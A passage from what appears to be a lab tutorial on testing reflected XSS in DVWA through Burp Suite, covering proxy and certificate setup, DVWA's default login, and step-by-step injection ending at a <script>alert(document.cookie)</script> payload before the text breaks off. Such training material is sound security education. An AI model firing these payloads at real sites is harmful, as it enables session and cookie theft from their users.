xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Open &#8216;View Certificates&#8217;, select the Authorities tab, and click Import. Select the <code>cacert.der</code> file, check &#8220;Trust this CA to identify websites&#8221;, and confirm. </p><p>Firefox will now trust Burp&#8217;s certificate and HTTPS traffic will pass through the proxy without warnings.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!fqkp!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd8f44c73-85d8-4285-8ccd-8d759bd8c78c_1600x1318.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!fqkp!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd8f44c73-85d8-4285-8ccd-8d759bd8c78c_1600x1318.png 424w, https://substackcdn.com/image/fetch/$s_!fqkp!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd8f44c73-85d8-4285-8ccd-8d759bd8c78c_1600x1318.png 848w, https://substackcdn.com/image/fetch/$s_!fqkp!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd8f44c73-85d8-4285-8ccd-8d759bd8c78c_1600x1318.png 1272w, https://substackcdn.com/image/fetch/$s_!fqkp!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd8f44c73-85d8-4285-8ccd-8d759bd8c78c_1600x1318.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!fqkp!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd8f44c73-85d8-4285-8ccd-8d759bd8c78c_1600x1318.png" width="1456" height="1199" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/d8f44c73-85d8-4285-8ccd-8d759bd8c78c_1600x1318.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1199,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!fqkp!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd8f44c73-85d8-4285-8ccd-8d759bd8c78c_1600x1318.png 424w, https://substackcdn.com/image/fetch/$s_!fqkp!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd8f44c73-85d8-4285-8ccd-8d759bd8c78c_1600x1318.png 848w, https://substackcdn.com/image/fetch/$s_!fqkp!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd8f44c73-85d8-4285-8ccd-8d759bd8c78c_1600x1318.png 1272w, https://substackcdn.com/image/fetch/$s_!fqkp!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd8f44c73-85d8-4285-8ccd-8d759bd8c78c_1600x1318.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div><hr></div><h4>1.4 Verifying the Proxy</h4><p>Before moving on, you need to confirm that traffic is actually flowing through Burp. If requests are not appearing in Burp&#8217;s history, any changes you make to requests will have no effect on the target.</p><p>Navigate to <code>http://10.10.10.20/dvwa</code> in whichever browser you configured in the previous step. Open Burp&#8217;s HTTP History tab and confirm that requests are appearing there. If they are, traffic is successfully passing through Burp and you are ready to begin.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!JRvm!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f779d5a-2293-48de-86e9-5e09b5d6a0a4_1600x389.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!JRvm!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f779d5a-2293-48de-86e9-5e09b5d6a0a4_1600x389.png 424w, https://substackcdn.com/image/fetch/$s_!JRvm!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f779d5a-2293-48de-86e9-5e09b5d6a0a4_1600x389.png 848w, https://substackcdn.com/image/fetch/$s_!JRvm!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f779d5a-2293-48de-86e9-5e09b5d6a0a4_1600x389.png 1272w, https://substackcdn.com/image/fetch/$s_!JRvm!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f779d5a-2293-48de-86e9-5e09b5d6a0a4_1600x389.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!JRvm!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f779d5a-2293-48de-86e9-5e09b5d6a0a4_1600x389.png" width="1456" height="354" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/7f779d5a-2293-48de-86e9-5e09b5d6a0a4_1600x389.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:354,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!JRvm!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f779d5a-2293-48de-86e9-5e09b5d6a0a4_1600x389.png 424w, https://substackcdn.com/image/fetch/$s_!JRvm!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f779d5a-2293-48de-86e9-5e09b5d6a0a4_1600x389.png 848w, https://substackcdn.com/image/fetch/$s_!JRvm!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f779d5a-2293-48de-86e9-5e09b5d6a0a4_1600x389.png 1272w, https://substackcdn.com/image/fetch/$s_!JRvm!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f779d5a-2293-48de-86e9-5e09b5d6a0a4_1600x389.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><div><hr></div><h4>2. DVWA Configuration</h4><p>Before you can start testing, you need to log into DVWA and configure it to its most vulnerable state (&#8216;Low&#8217;). </p><p>By default, DVWA runs with security controls that would block the payloads you are about to use. Setting the security level to Low disables all input filtering so the application reflects user input exactly as submitted, which is the condition you need to test these vulnerabilities.</p><p>Navigate to <code>http://10.10.10.20/dvwa/login.php</code> and log in with the default credentials:</p><ul><li><p>Username: <code>admin</code></p></li><li><p>Password: <code>password</code></p></li></ul><p>Once logged in, navigate to the DVWA Security menu, set the security level to Low, and save.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Pr7A!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc08e6c15-8880-4cbc-a3f5-0c77fb3a2cec_1600x1316.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Pr7A!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc08e6c15-8880-4cbc-a3f5-0c77fb3a2cec_1600x1316.png 424w, https://substackcdn.com/image/fetch/$s_!Pr7A!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc08e6c15-8880-4cbc-a3f5-0c77fb3a2cec_1600x1316.png 848w, https://substackcdn.com/image/fetch/$s_!Pr7A!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc08e6c15-8880-4cbc-a3f5-0c77fb3a2cec_1600x1316.png 1272w, https://substackcdn.com/image/fetch/$s_!Pr7A!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc08e6c15-8880-4cbc-a3f5-0c77fb3a2cec_1600x1316.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Pr7A!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc08e6c15-8880-4cbc-a3f5-0c77fb3a2cec_1600x1316.png" width="1456" height="1198" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/c08e6c15-8880-4cbc-a3f5-0c77fb3a2cec_1600x1316.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1198,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Pr7A!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc08e6c15-8880-4cbc-a3f5-0c77fb3a2cec_1600x1316.png 424w, https://substackcdn.com/image/fetch/$s_!Pr7A!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc08e6c15-8880-4cbc-a3f5-0c77fb3a2cec_1600x1316.png 848w, https://substackcdn.com/image/fetch/$s_!Pr7A!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc08e6c15-8880-4cbc-a3f5-0c77fb3a2cec_1600x1316.png 1272w, https://substackcdn.com/image/fetch/$s_!Pr7A!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc08e6c15-8880-4cbc-a3f5-0c77fb3a2cec_1600x1316.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div><hr></div><h3>3. Exploit: Reflected XSS</h3><p>Reflected XSS occurs when user-supplied input is immediately included in the server&#8217;s HTTP response without being validated or encoded. </p><p>The payload is not stored on the server. Instead, it is delivered to the victim through a crafted URL. When the victim visits the link, their browser sends the payload to the server, which reflects it back in the response. </p><p>The browser executes the script in the context of that domain, giving it access to that site&#8217;s cookies and session data.</p><div><hr></div><h4>3.1 Testing Methodology</h4><p>Before injecting any malicious payload, you need to confirm that the application is actually reflecting your input unsanitized. You will start with a benign value, inspect how the server handles it, and escalate from there.</p><p>Navigate to <code>/dvwa/vulnerabilities/xss_r/</code>. Submit the input field with the value <code>test</code> and observe the resulting GET request in Burp&#8217;s HTTP History:</p><pre><code><code>GET /dvwa/vulnerabilities/xss_r/?name=test HTTP/1.1</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!643g!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c6df35a-a03c-4739-940a-f62a25ef3aff_1600x59.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!643g!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c6df35a-a03c-4739-940a-f62a25ef3aff_1600x59.png 424w, https://substackcdn.com/image/fetch/$s_!643g!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c6df35a-a03c-4739-940a-f62a25ef3aff_1600x59.png 848w, https://substackcdn.com/image/fetch/$s_!643g!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c6df35a-a03c-4739-940a-f62a25ef3aff_1600x59.png 1272w, https://substackcdn.com/image/fetch/$s_!643g!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c6df35a-a03c-4739-940a-f62a25ef3aff_1600x59.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!643g!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c6df35a-a03c-4739-940a-f62a25ef3aff_1600x59.png" width="1456" height="54" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/2c6df35a-a03c-4739-940a-f62a25ef3aff_1600x59.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:54,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!643g!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c6df35a-a03c-4739-940a-f62a25ef3aff_1600x59.png 424w, https://substackcdn.com/image/fetch/$s_!643g!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c6df35a-a03c-4739-940a-f62a25ef3aff_1600x59.png 848w, https://substackcdn.com/image/fetch/$s_!643g!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c6df35a-a03c-4739-940a-f62a25ef3aff_1600x59.png 1272w, https://substackcdn.com/image/fetch/$s_!643g!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c6df35a-a03c-4739-940a-f62a25ef3aff_1600x59.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>Open the response in Burp and confirm that the string <code>test</code> appears raw and unencoded in the HTML body. This confirms that user input is being reflected directly into the page without sanitization.</p><p>Send this request to Burp Repeater by right-clicking and selecting &#8220;Send to Repeater&#8221;. Repeater lets you modify and resend the same request without going back to the browser each time. In Repeater, modify the <code>name</code> parameter to test whether HTML markup is rendered:</p><pre><code><code>GET /dvwa/vulnerabilities/xss_r/?name=&lt;b&gt;hello&lt;/b&gt;</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!FfGY!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a99bfaf-ce4c-4d7e-a948-a4b2bf360fc9_1600x904.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!FfGY!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a99bfaf-ce4c-4d7e-a948-a4b2bf360fc9_1600x904.png 424w, https://substackcdn.com/image/fetch/$s_!FfGY!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a99bfaf-ce4c-4d7e-a948-a4b2bf360fc9_1600x904.png 848w, https://substackcdn.com/image/fetch/$s_!FfGY!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a99bfaf-ce4c-4d7e-a948-a4b2bf360fc9_1600x904.png 1272w, https://substackcdn.com/image/fetch/$s_!FfGY!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a99bfaf-ce4c-4d7e-a948-a4b2bf360fc9_1600x904.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!FfGY!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a99bfaf-ce4c-4d7e-a948-a4b2bf360fc9_1600x904.png" width="1456" height="823" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/2a99bfaf-ce4c-4d7e-a948-a4b2bf360fc9_1600x904.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:823,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!FfGY!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a99bfaf-ce4c-4d7e-a948-a4b2bf360fc9_1600x904.png 424w, https://substackcdn.com/image/fetch/$s_!FfGY!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a99bfaf-ce4c-4d7e-a948-a4b2bf360fc9_1600x904.png 848w, https://substackcdn.com/image/fetch/$s_!FfGY!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a99bfaf-ce4c-4d7e-a948-a4b2bf360fc9_1600x904.png 1272w, https://substackcdn.com/image/fetch/$s_!FfGY!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a99bfaf-ce4c-4d7e-a948-a4b2bf360fc9_1600x904.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>When you inspect the response in Burp, look at the HTML body. If the application had sanitized your input, it would have converted the <code>&lt;b&gt;</code> tag into its encoded equivalent, <code>&amp;lt;b&amp;gt;hello&amp;lt;/b&amp;gt;</code>, which the browser would display as plain text rather than markup. </p><p>If instead you see the raw <code>&lt;b&gt;hello&lt;/b&gt;</code> tag sitting unmodified in the HTML, the application is passing your input straight into the page. </p><p>This means the browser will treat whatever you submit as part of the page&#8217;s code, not as text to display. A <code>&lt;b&gt;</code> tag makes text bold. A <code>&lt;script&gt;</code> tag executes JavaScript. The application has no way of telling the difference.</p><div><hr></div><h4>3.2 Script Injection</h4><p>Now that you have confirmed the application renders whatever you submit as raw HTML, you will escalate the probe to a script tag. </p><p>The goal here is to confirm that JavaScript executes in the context of the DVWA domain, meaning the browser treats your injected code as if it were a legitimate part of the page.</p><p>In Repeater, modify the <code>name</code> parameter to the following:</p><pre><code><code>GET /dvwa/vulnerabilities/xss_r/?name=&lt;script&gt;alert(document.cookie)&lt;/script&gt;</code></code></pre><p>You can see in the response that the script tag sits unmodified in the HTML body. </p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!J6Z4!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb771560c-4513-4c88-8aee-1f2aa102eebb_1600x902.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!J6Z4!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb771560c-4513-4c88-8aee-1f2aa102eebb_1600x902.png 424w, https://substackcdn.com/image/fetch/$s_!J6Z4!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb771560c-4513-4c88-8aee-1f2aa102eebb_1600x902.png 848w, https://substackcdn.com/image/fetch/$s_!J6Z4!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb771560c-4513-4c88-8aee-1f2aa102eebb_1600x902.png 1272w, https://substackcdn.com/image/fetch/$s_!J6Z4!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb771560c-4513-4c88-8aee-1f2aa102eebb_1600x902.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!J6Z4!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb771560c-4513-4c88-8aee-1f2aa102eebb_1600x902.png" width="1456" height="821" 